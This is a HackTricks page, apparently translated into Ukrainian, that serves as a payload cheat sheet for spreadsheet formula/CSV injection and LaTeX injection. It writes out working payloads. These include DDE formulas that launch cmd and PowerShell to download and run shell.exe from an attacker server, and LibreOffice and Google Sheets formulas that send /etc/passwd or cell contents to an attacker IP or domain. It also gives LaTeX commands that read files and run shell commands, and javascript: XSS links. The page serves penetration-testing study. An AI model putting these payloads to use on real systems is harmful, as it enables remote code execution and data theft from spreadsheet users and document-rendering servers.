16 KiB
Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Formula Injection
Info
Якщо ваш вхід відображається всередині CSV файлів (або будь-якого іншого файлу, який, ймовірно, буде відкритий за допомогою Excel), ви, можливо, зможете вставити формули Excel, які будуть виконані, коли користувач відкриває файл або коли користувач натискає на деяке посилання всередині аркуша Excel.
{% hint style="danger" %} Сьогодні Excel попередить (декілька разів) користувача, коли щось завантажується ззовні Excel, щоб запобігти йому від злочинних дій. Тому необхідно докласти спеціальних зусиль у соціальній інженерії до фінального payload. {% endhint %}
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
Наступний приклад є дуже корисним для ексфільтрації вмісту з фінальної таблиці Excel та для виконання запитів до довільних місць. Але це вимагає, щоб користувач натиснув на посилання (і прийняв попередження).
Наступний приклад був взятий з https://payatu.com/csv-injection-basic-to-exploit
Уявіть, що у системі управління записами студентів сталася витік безпеки, який був використаний через атаку CSV injection. Основна мета зловмисника - скомпрометувати систему, яку використовують вчителі для управління даними студентів. Метод полягає в тому, що зловмисник вводить шкідливий код у додаток, зокрема, вводячи шкідливі формули у поля, призначені для даних студентів. Атака розгортається наступним чином:
- Введення шкідливого коду:
- Зловмисник подає форму даних студента, але включає формулу, яка зазвичай використовується в електронних таблицях (наприклад,
=HYPERLINK("<malicious_link>","Click here")
). - Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, контрольований зловмисником.
- Експорт скомпрометованих даних:
- Вчителі, не підозрюючи про компрометацію, використовують функціональність додатка для експорту даних у CSV файл.
- CSV файл, коли його відкривають, все ще містить шкідливий код. Цей код з'являється як клікабельне гіперпосилання в електронній таблиці.
- Активація атаки:
- Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента.
- Після натискання чутливі дані (можливо, включаючи деталі з електронної таблиці або комп'ютера вчителя) передаються на сервер зловмисника.
- Логування даних:
- Сервер зловмисника отримує та реєструє чутливі дані, надіслані з комп'ютера вчителя.
- Зловмисник може потім використовувати ці дані для різних шкідливих цілей, ще більше компрометуючи конфіденційність і безпеку студентів та установи.
RCE
Перевірте оригінальний пост для отримання додаткових деталей.
У специфічних конфігураціях або старіших версіях Excel функція, званий Динамічний обмін даними (DDE), може бути використана для виконання довільних команд. Щоб скористатися цим, необхідно активувати наступні налаштування:
- Перейдіть до Файл → Параметри → Центр управління безпекою → Налаштування центру управління безпекою → Зовнішній вміст, і активуйте Запуск сервера динамічного обміну даними.
Коли електронна таблиця з шкідливим кодом відкривається (і якщо користувач приймає попередження), код виконується. Наприклад, щоб запустити програму калькулятора, код буде:
=cmd|' /C calc'!xxx
Додаткові команди також можуть бути виконані, такі як завантаження та виконання файлу за допомогою PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc може бути використаний для читання локальних файлів та ексфільтрації даних. Ось кілька методів:
- Читання першого рядка з локального файлу
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
- Ексфільтрація прочитаних даних на сервер, контрольований зловмисником:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Ексфільтрація більше ніж одного рядка:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS ексфільтрація (відправка прочитаних даних як DNS запити на сервер DNS, контрольований зловмисником):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets пропонує функції, які можуть бути використані для OOB ексфільтрації даних:
- CONCATENATE: Об'єднує рядки -
=CONCATENATE(A2:E2)
- IMPORTXML: Імпортує дані з структурованих типів даних -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: Імпортує RSS або ATOM стрічки -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: Імпортує дані з HTML таблиць або списків -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Імпортує діапазон клітинок з іншої таблиці -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Вставляє зображення в клітинку -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX Injection
Зазвичай сервери, які можна знайти в інтернеті, що конвертують LaTeX код в PDF, використовують pdflatex
.
Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд:
--no-shell-escape
: Вимкнути конструкцію\write18{command}
, навіть якщо вона увімкнена в файлі texmf.cnf.--shell-restricted
: Те ж саме, що і--shell-escape
, але обмежено 'безпечним' набором попередньо визначених **команд (**На Ubuntu 16.04 список знаходиться в/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Увімкнути конструкцію\write18{command}
. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки.
Однак є й інші способи виконання команд, тому, щоб уникнути RCE, дуже важливо використовувати --shell-restricted
.
Read file
Вам може знадобитися налаштувати ін'єкцію з обгортками, такими як [ або $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Прочитати файл з одного рядка
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Читання файлу з кількома рядками
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Записати файл
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Виконання команд
Вхідні дані команди будуть перенаправлені до stdin, використовуйте тимчасовий файл, щоб їх отримати.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Якщо ви отримаєте будь-яку помилку LaTex, розгляньте можливість використання base64, щоб отримати результат без поганих символів.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
Від @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
Перевірте https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Посилання
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
Спробуйте Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.